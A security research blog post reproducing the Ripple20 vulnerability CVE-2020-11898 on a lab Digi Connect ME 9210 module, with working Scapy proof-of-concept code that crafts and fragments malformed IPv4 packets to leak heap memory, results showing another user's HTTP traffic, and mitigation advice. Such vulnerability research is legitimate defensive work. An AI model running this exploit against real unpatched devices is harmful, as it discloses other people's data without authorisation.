Testing Ripple20: A closer look and proof of concept script for CVE-2020-11898

TL;DR: We use a proof of concept script to attack a Digi Connect ME 9210 device affected by CVE-2020-11898, part of the newly-released Ripple20 series of vulnerabilities.


Ripple20

In June 2020, JSOF released information about a series of 19 vulnerabilities dubbed “Ripple20”. Ripple20 affects the popular Treck network stack, which is used by many connected devices. Out of the 19 vulnerabilities released, four were given a “critical” CVSS score, with effects ranging from potential DoS, to information disclosure and remote code execution.

Today we’ll take a closer look at and try to reproduce one of these four critical vulnerabilities, CVE-2020-11898.

Quick look at CVE-2020-11898

CVE-2020-11898 is an information disclosure vulnerability. JSOF published a very detailed technical whitepaper for it and its sister vulnerability CVE-2020-11896, which is available on their website. We encourage you to take a look at it if you are interested in the details behind these issues.

For now, we are going to focus on the exploitation information provided by JSOF. CVE-2020-11898 is triggered by a malicious “inner” IPv4 packet, which is encapsulated in an “outer” IPv4 packet. The outer packet is then transmitted to the victim in two fragments.

To trigger the vulnerability, the inner packet has two important characteristics:

  • it declares its IPv4 “len” attribute to be smaller that it’s actual payload length;
  • it uses the invalid protocol number “0”.

When the Treck stack reassembles and processes the inner packet from the two outer packet fragments, the invalid protocol number causes the stack to reply with an ICMP “protocol unreachable” error message. Due to an out-of-bounds read error in the source code, caused by the mismatch between the inner packet’s length attribute and actual length, some data from the victim’s heap memory is copied into the ICMP error message and sent back to the attacker.

Hunting for a vulnerable device

To test CVE-2020-11898 in practice, we needed a device using the vulnerable Treck stack. JSOF provides a list of affected vendors, which in turn specify which of their products are affected. Interestingly, not a lot of the confirmed vulnerable products are likely to be found in a household scenario (HVAC systems, UPSs, medical devices).

In the beginning, we decided to focus on printers as the most likely victims. Sadly, after going on an NVISO-wide hunt for vulnerable printers, it turned out that no colleagues had confirmed vulnerable models at home…

We thus resorted to our Plan B: buying a vulnerable device. We decided to go for the same device JSOF researchers use in their whitepaper, the Digi Connect ME 9210 module. The Digi module has Ethernet connectivity and can run Digi’s Net+OS, whose older versions use the vulnerable Treck stack (Digi has released patches for the vulnerable OS).

Our Digi Connect ME 9210 module connected to its development board

From description to proof of concept

Using the information available in JSOF’s whitepaper, it is relatively easy to reconstruct a proof of concept script that can trigger the vulnerability on the Digi module.

For that, we resorted to Python, our scripting language of choice! Using the power of Scapy (Python’s swiss army knife for network packet manipulation), it is trivial to create the inner IPv4 packet with the whitepaper’s payload:

innerPayload = "\x00"*40 + "\x41"*100 # as described in JSOF's whitepaper 
innerPacket = IP(ihl=0xf, len=100, proto=0, dst=target)
innerPacket.add_payload(innerPayload.encode("ascii"))

Then, we have to encapsulate the inner packet into the outer IPv4 packet, and fragment that one into two packets, one containing the first 24 bytes of the inner packet, and the other the rest. That operation is a little trickier to perform, since it is not supported by default by Scapy’s fragment function. Luckily, Scapy is open source, so we can just copy its fragment function and adapt it for our needs. A quick and dirty approach, but it works:

def fragmentCustom(self):
    """
    Modified version of Scapy's "fragment" function 
    to create custom-size fragments instead of fixed-size
    ones.

    We create one with payload length of 24, as in whitepaper,
    then the rest (136) bytes of payload go in the second one.
    """
    lst = []
    fnb = 0
    fl = self
    while fl.underlayer is not None:
        fnb += 1
        fl = fl.underlayer

    for p in fl:

        s = raw(p[fnb].payload)

        # first fragment
        q = p.copy()
        del(q[fnb].payload)
        del(q[fnb].chksum)
        del(q[fnb].len)
        q[fnb].flags |= 1 # set fragmentation to true
        q[fnb].frag += 0
        r = conf.raw_layer(load=s[0:24]) # copy first 24 bytes
        r.overload_fields = p[fnb].payload.overload_fields.copy()
        q.add_payload(r)
        lst.append(q)

        # second fragment
        q = p.copy()
        del(q[fnb].payload)
        del(q[fnb].chksum)
        del(q[fnb].len)
        q[fnb].frag += 3
        r = conf.raw_layer(load=s[24:]) # copy the rest
        r.overload_fields = p[fnb].payload.overload_fields.copy()
        q.add_payload(r)
        lst.append(q)

    return lst

Finally, we can perform the encapsulation, fragmentation and send our packets on their way to their target:

outerPacket = IP(dst=target,id=0xabcd)/innerPacket
frags = fragmentCustom(outerPacket)
for f in frags:
    send(f)

Testing CVE-2020-11898 in practice

After some days of impatiently waiting for the Digi module to arrive, and some hours of JTAG troubleshooting to successfully flash it, we were finally ready to go. For our tests, we flashed the Digi module with an HTTP server, hosting a small web application. Our network setup included, in addition to the Digi module, a user which accesses the web application on the module and the attacker running the proof of concept script:

Network setup used for the CVE-2020-11898 proof of concept script tests. A user (192.168.0.130) accesses the web application hosted on the Digi module (192.168.0.120). The attacker (192.168.0.106) executes the script, targeting the Digi module

We ran our Python script multiple times against the Digi module target, while capturing the traffic on the attacker’s machine using Wireshark:

Wireshark capture of CVE-2020-11898 proof of concept script executed against the Digi module (192.168.0.120). Each couple of fragments sent by the attacker is answered by an ICMP “protocol unreachable” error message

As expected, each couple of malicious IPv4 packets sent by the attacker to the Digi module is answered with an ICMP “protocol unreachable” message. That looks promising! Let’s dig deeper into the contents of the different ICMP replies:

A closer look at the contents of ICMP packets from the previous image. The bottom packet contains a fragment of an HTTP request performed by a different user

Bingo! At the end of each packet, we get about 40 bytes, different for each one. These correspond to parts of the target’s heap memory, dumped inside the ICMP reply. Sometimes, the data looks random (top), or contains part of the payload (middle).

If we focus the bottom packet however, we can see part of an HTTP header. That request did not come from the attacker, but from the user visiting the web page hosted on the Digi module. Thus, the attacker successfully managed to obtain a fragment of a different user’s traffic!

Some notes on mitigation

JSOF provides guidelines on mitigating Ripple20 in different scenarios. In a nutshell, from the user / device integrator perspective, the most important actions are:

  • checking if your devices are impacted, by consulting JSOF’s impacted vendors list and then the vendor-specific lists;
  • if a device is impacted, work with its vendor to apply the latest firmware updates;
  • as a general rule, avoid exposing connected devices to the public internet (attackers need network access to exploit almost all of Ripple20 vulnerabilities).

From the developer / device vendor perspective, we suggest checking if your devices make use of the vulnerable Treck stack and then investigate if and how Ripple20 can impact your product. If possible, updating to Treck version 6.0.1.67 and higher will mitigate the issues.

Closing thoughts

Ripple20, as shown by our simple test above, but also as demonstrated by JSOF’s proof of concept exploits, can have a serious impact on the security of connected devices using the Treck stack and should not be taken lightly by their developers and their users.

However, it is also important to note that not all devices using a vulnerable version of Treck are affected by default, as specific options need to be enabled in their network configuration for that to be the case.

JSOF is set to release more information about Ripple20 vulnerabilities during the upcoming Black Hat USA 2020 security conference, which we will be monitoring with interest!

References

About the author

Théo Rigas is an IT Security Consultant at NVISO. He has researched the security of connected alarm systems and is currently working on more IoT and embedded device security projects. Outside of his Research work, he performs Web, Mobile and IoT security assessments for NVISO.

2 thoughts on “Testing Ripple20: A closer look and proof of concept script for CVE-2020-11898

Leave a Reply